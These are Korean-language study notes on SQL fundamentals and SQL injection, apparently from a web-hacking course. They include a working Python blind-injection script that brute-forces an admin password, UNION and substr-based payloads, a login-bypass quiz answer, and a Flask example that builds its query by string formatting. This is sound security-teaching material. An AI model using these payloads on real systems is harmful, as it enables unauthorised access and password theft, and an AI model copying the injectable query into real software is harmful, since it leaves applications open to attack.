



SQL Injection

SQL Injection

Background: Relational DBMS

- Database Management System/DBMS

웹 서비스는 데이터베이스의 정보를 관리하기 위해 DBMS를 사용한다. DBMS는 데이터베이스에 새로운 정보를 기록하거나 정보를 수정, 삭제할 수 있다. 다수의 사람이 동시에 DB에 접근하고 검색 기능 등 복잡한 요구사항을 만족하는 데이터를 조회할 수 있다는 특징이 있다.

- DBMS의 종류

종류	Example
Relational(관계형) - 테이블 형식	MySQL, MariaDB, PostgreSQL, SQLite
Non - Relational(비관계형) - key value 형태	MongoDB, CouchDB, Redis

- Relational DBMS

- Relational DBMS

- RDBMS(Relational DBMS)

관계형 DBMS는 Codd가 12가지 규칙을 정의하여 생성된 DB 모델로 행(Row)과 열(Column)의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리하고 이를 조작할 수 있는 관계 연산자를 제공한다. Structured Query Language(SQL)라는 쿼리 언어를 사용하여 데이터를 조작한다.

- SQL

Structured Query Language(SQL), RDBMS의 데이터를 정의하고 질의, 수정 등의 조작을 하기 위해 고안된 언어. 사용 목적과 행위에 따라 다양한 구조가 존재함.

언어	설명
DDL (Data Definition Language)	데이터를 정의 하기 위한 언어. 데이터 저장을 위한 스키마, DB의 생성, 수정, 삭제 등을 수행
DML (Data Manipulation Language)	데이터를 조작 하기 위한 언어. DB 내의 데이터에 대해 조회, 저장, 수정, 삭제 등을 수행
DCL (Data Control Language)	DB의 접근 권한 등을 설정하기 위한 언어. DB 내의 사용자 권한을 부여하기 위한 GRANT 와 권한 박탈의 REVOKE 가 대표적이다.

ServerSide: SQL Injection

- SQL Injection

- SQL

- DBMS에 데이터를 질의하는 언어

- 대부분의 웹 서비스는 이용자의 입력을 SQL을 통해 요청

- 쿼리 예시

- 로그인 쿼리

```
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
```

- SELECT: 조회 명령어. **SELECT *** 와 같은 형태로 주로 사용한다.

- *: 테이블의 모든 칼럼 조회

- FROM ~~~: ~~~ 테이블에서 데이터를 조회할 것이라 지정

- WHERE ~~~='www': 지정한 테이블에서 ~~~ 데이터가 'www'인 데이터를 조회

- 조건문을 통해 특정 정보를 비교하지 않고 계정의 정보를 반환하는 것을 이용하여 정보를 탈취할 수 있다.

- Blind SQL Injection

- 스무고개 게임과 유사한 방식으로 데이터를 알아내는 기법

- DBMS가 답변 가능한 형태로 질문하면서 정보를 탈취하는 것이 중요하다.

- Blind SQL Injection 예시

- substr
 - SQL에서 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수
 - 사용 예시

```
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
```

- Blind SQL Injection 예시

```
# 첫 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True
# 두 번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True
```

- upw의 값을 아스키 형태로 변환한 값이 무엇인지 질의하고 로그인 성공 여부를 통해 참/거짓을 판별 가능하다.
- 이러한 과정을 반복하며 유저의 아이디 및 비밀번호를 탈취할 수 있다.
- substr 외에도 다양한 DBMS의 내장 함수를 통해 데이터를 추출할 수 있다.
- Blind SQL Injection 공격 스크립트
 - Blind SQL Injection의 경우 한 바이트씩 비교하며 공격하는 방식이므로 다른 공격에 비해 많은 시간이 소요됨 → 공격을 자동화하는 것이 유용하다
 - 대표적으로 파이썬의 requests 모듈을 통해 HTTP 요청을 보내거나 응답을 확인할 수 있다.
 - Requests 모듈 예시
 - requests 예시

- ▼ requests.get

```
import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)
```

- ▼ requests.post

```
import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
```

```
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
```

■ Blind SQL Injection 공격 스크립트 작성

- HTTP GET request로 파라미터를 전달받는 홈페이지에 공격을 시작하기로 가정
- python인 경우 `string` 모듈을 통해 `string.printable`로 접근 가능

▼ python으로 작성한 코드 예시

```
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
    'uid': '',
    'upw': ''
}
# ascii printables
tc = string.printable
# 사용할 SQL Injection 쿼리
query = '''admin' and substr(upw,{idx},1)='{val}'-- '''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
    for ch in tc:
        # query를 이용하여 Blind SQL Injection 시도
        params['uid'] = query.format(idx=idx+1, val=ch).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
        if c.text.find("Login success") != -1:
            password += ch
            break
    print(f"Password is {password}")
```

▼ Quiz: SQL Injection

Q1. 다음 SQL Query의 빈 칸에 입력 값을 넣을 수 있다고 할 때, id가 admin 계정으로 로그인 가능한 SQL Injection 페이로드를 고르시오

```
SELECT * FROM accounts WHERE user_id='admin' and user_pw='(A)'
```

A1. '(select user_pw from accounts where user_id='admin')+'

Q2. 다음 중 일반적인 상황에서 SQL Injection으로 할 수 없는 행위를 고르시오(MySQL 기준)

A2. 내부망 침투하기, 임의 계정 삭제, 데이터베이스 정보 탈취, 임의 계정 로그인 쿼리를 작성하여 진행할 수 있지만 SQL의 경우 스무고개와 같이 쿼리를 통해 참/거짓 유무를 알아내는 것이 주된 방법이므로 내부망에 직접 침투하기는 어렵다.

SQL DML

Background: SQL DML

• SQL DML

▼ SELECT

- SQL에서 데이터를 조회하는 구문
- SELECT 구문의 사용 구조

```
# mysql SELECT Statement https://dev.mysql.com/doc/refman/8.0/en/select.html
SELECT
    select_expr [, select_expr] ...
FROM table_references
WHERE where_condition
[GROUP BY {col_name | expr | position}, ... [WITH ROLLUP]]
```

```
[ORDER BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]]
[LIMIT [{offset,} row_count | row_count OFFSET offset]]
```

절	설명
SELECT	해당 문자열을 시작으로, 조회하기 위한 표현식과 컬럼들에 대해 정의
FROM	데이터를 조회할 테이블의 이름
WHERE	조회할 데이터의 조건
ORDER BY	조회한 결과를 원하는 컬럼 기준으로 정렬
LIMIT	조회한 결과에서 행의 갯수와 오프셋 지정

- SELECT 사용 예시

```
SELECT
    uid, title, boardcontent
FROM board
WHERE boardcontent like '%abc%'
ORDER BY uid DESC
LIMIT 5
```

FROM으로 board 테이블의 `uid`, `title`, `board` 데이터를 검색 후 `WHERE` 절을 사용해 `boardcontent` 데이터에 "abc" 문자가 포함되어 있는지 검색한다. 이후 찾은 데이터를 `ORDER BY` 를 통해 `uid` 를 기준으로 내림차순 정렬 후, 5개의 행을 결과로 반환한다.

▼ INSERT

- SQL에서 데이터를 추가하는 구문
- INSERT 구문의 사용 구조

```
# mysql INSERT Statement https://dev.mysql.com/doc/refman/8.0/en/insert.html
INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
    [INTO] tbl_name
    [PARTITION (partition_name [, partition_name] ...)]
    [(col_name [, col_name] ...)]
    { {VALUES | VALUE} (value_list) [, (value_list)] ...
      |
      VALUES row_constructor_list
    }
```

절	설명
INSERT	해당 문자열을 시작으로, 추가할 테이블과 데이터를 정의
INTO	데이터를 추가할 테이블의 이름과 컬럼 정의
VALUES	INTO 절에서 정의한 테이블의 컬럼에 명시한 데이터들을 추가

- INSERT 사용 예시

```
INSERT
    INTO board (title, boardcontent)
    VALUES ('title 1', 'content 1'), ('title 2', 'content 2');
```

`INTO` 절을 사용해서 추가할 테이블과 컬럼을 각각 `board` 와 `title`, `boardcontent` 로 명시한다. 이후 `VALUES` 절을 통해 `INTO` 절에서 명시한 테이블의 각각의 컬럼에 "title 1", ... 데이터를 추가한다. 이때 `(select upw from users where uid='admin')` 와 같은 서브쿼리를 사용하여 다른 테이블에 있는 데이터를 그대로 가져와 삽입할 수도 있다.

▼ UPDATE

- SQL에서 데이터를 수정하는 구문
- UPDATE 구문의 사용 구조

```
# mysql UPDATE https://dev.mysql.com/doc/refman/8.0/en/update.html
UPDATE [LOW_PRIORITY] [IGNORE] table_references
    SET assignment_list
    [WHERE where_condition]
```

절	설명
UPDATE	해당 문자열을 시작으로, 수정할 테이블을 정의
SET	수정할 컬럼과 데이터를 정의
WHERE	수정할 행의 조건을 정의

- UPDATE 사용 예시

```
UPDATE board
  SET boardcontent = "update content 2"
  WHERE title = 'title 1';
```

`board` 테이블의 `boardcontent` 컬럼을 "update content 2" 문자열로 수정. 수정할 데이터의 조건은 `title` 컬럼의 값이 "title 1"인 행으로 설정(`WHERE`을 통해 확인 가능)

▼ DELETE

- SQL에서 데이터를 삭제하는 구문
- DELETE 구문의 사용 구조

```
# mysql DELETE https://dev.mysql.com/doc/refman/8.0/en/delete.html
DELETE [LOW_PRIORITY] [QUICK] [IGNORE] FROM tbl_name [[AS] tbl_alias]
  [PARTITION (partition_name [, partition_name] ...)]
  [WHERE where_condition]
  [ORDER BY ...]
  [LIMIT row_count]
```

절	설명
DELETE	해당 문자열을 시작으로, 이후에 삭제할 테이블 정의
FROM	삭제할 테이블 정의
WHERE	삭제할 행의 조건을 정의

- DELETE 사용 예시

```
DELETE FROM board
  WHERE title = 'title 1';
```

`board` 테이블의 `title` 컬럼이 "title 1"인 행을 삭제

▼ Quiz: SQL DML

Q1. 올바른 INSET DML 구문을 고르시오

A1. insert into users(id, pw) values('admin', admin');

Q2. SELECT, UPDATE, DELETE DML 구문에서 조건을 정의할 때 사용되는 문법은?

A2. WHERE

Q3. 다음 중 데이터를 조회할 때 사용되는 DML 구문은?

A3. SELECT

SQL Features

Background: SQL Features

- SQL Features

▼ UNION

- SQL에서 다수의 SELECT 구문의 결과를 결합하는 절
- UNION 절의 사용 예시

```
mysql> SELECT * FROM UserTable UNION SELECT "DreamHack", "DreamHack PW";
/*
+-----+-----+
| username | password |
+-----+-----+
```

```

| admin      | admin      |
| guest      | guest      |
| DreamHack | DreamHack  |
+-----+-----+
3 rows in set (0.01 sec)
*/

```

- UNION 절의 사용 조건
 - 이전 SELECT 구문과 UNION을 사용한 구문의 실행 결과 중 컬럼의 갯수가 같아야 함
 - 특정 DBMS에서는 이전 SELECT 구문과 UNION을 사용한 구문의 컬럼 타입이 같아야 한다.

▼ Subquery

- SQL에서 한 쿼리 내에 또 다른 쿼리를 사용하는 것을 의미
- Subquery 사용 예시
 - COLUMNS 절

```

mysql> SELECT username, (SELECT "ABCD" UNION SELECT 1234) FROM users;
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> SELECT username, (SELECT "ABCD", 1234) FROM users;
ERROR 1241 (21000): Operand should contain 1 column(s)

```

SELECT 구문의 컬럼 절에서 서브 쿼리를 사용할 경우 **단일 행**과 **단일 컬럼**이 반환되도록 해야 한다.

- FROM 절

```

mysql> SELECT * FROM (SELECT *, 1234 FROM users) as u;
/*
+-----+-----+
| username | 1234 |
+-----+-----+
| admin    | 1234 |
| guest    | 1234 |
+-----+-----+
2 rows in set (0.00 sec)
*/

```

FROM 절에서 사용하는 서브 쿼리는 **인라인 뷰(Inline View)**라고 하며, **다중 행**과 **다중 컬럼** 결과를 반환할 수 있다.

- WHERE 절

```

mysql> SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");
/*
+-----+-----+
| username | password |
+-----+-----+
| admin    | admin    |
| guest    | guest    |
+-----+-----+
2 rows in set (0.00 sec)
*/

```

WHERE 절에서 서브 쿼리를 사용하면 다중 행 결과를 반환하는 쿼리문을 실행할 수 있다.

▼ Application Logic

- SQL Injection은 애플리케이션 내부에서 사용하는 데이터베이스의 데이터를 조작하는 기법
- Application Logic은 사용자의 요청을 처리하고 데이터를 조작하며, 최종적으로 사용자에게 결과를 보여주기 위한 **일련의 프로그래밍된 규칙과 과정**
- SQL Injection에서 Application Logic은 공격의 주체가 아니라, **공격자가 악용할 수 있는 취약점을 내포하고 있거나, 혹은 공격을 방어하기 위해 안전하게 구현되어야 하는 애플리케이션의 내부 처리 과정과 규칙 전체**

▼ Application Logic 예시(Flask)

```
## pip3 install PyMySQL //pymysql 라이브러리를 설치하기 위한 명령어
from flask import Flask, request
import pymysql
app = Flask(__name__)
def getConnection():
    return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')
@app.route('/', methods=['GET'])
def index():
    username = request.args.get('username')
    sql = "select username from users where username='%s'" %username
    conn = getConnection()
    curs = conn.cursor(pymysql.cursors.DictCursor)
    curs.execute(sql)
    rows = curs.fetchall()
    conn.close()
    if(rows[0]['username'] == "admin"):
        return "True"
    else:
        return "False"
app.run(host='0.0.0.0', port=8000)
```

username 을 쿼리로 사용하며 SQL Injection을 시도하며 그 결과로 username 이 "admin" 일 경우 참을, 아닌 경우에는 거짓을 반환함

- Logic 이용 공격
 - DB가 아래와 같이 구성되었다 가정

username	password
admin	Password_for_admin
guest	guest_Password

- UNION을 사용한 공격

```
/?username=' union select 'admin' -- -
==> True
```

- 비교 구문을 사용한 공격

```
/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
==> False
/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
==> True
/?username=' union select if(substr(password,2,1)='a', 'admin', 'not admin') from users where username='admin' -- -
==> True
```

"admin" 을 반환하는 것을 이용하여 로그인하는 방법도 있지만 substr 함수를 사용해서 첫 번째 인자로 전달된 문자열을 두 번째 인자로 전달된 위치에서 시작하여 세 번째 인자로 전달된 문자 수 만큼의 문자들을 반환하도록 한 후 비밀번호 등의 정보를 한 글자씩 알아낼 수 있다.

▼ Quiz: SQL Features

- Q1. MySQL 쿼리에서 한 쿼리 내에 또 다른 쿼리를 사용하는 문법은?
 A1. 서브 쿼리
- Q2. MySQL 쿼리에서 다수의 SELECT 구문의 결과를 집합하는 절은?
 A2. UNION 절

실습

Exercise: SQL Injection